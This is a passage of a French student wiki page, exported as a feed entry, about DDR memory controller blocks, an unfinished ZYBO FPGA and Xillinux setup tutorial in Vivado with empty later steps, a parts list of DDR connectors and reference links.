Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===3)Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design [[Fichier:Tuto1.PNG|100px|thumb|right| g°)]]&amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS [[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. [[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)&amp;lt;br&amp;gt;&lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	</feed>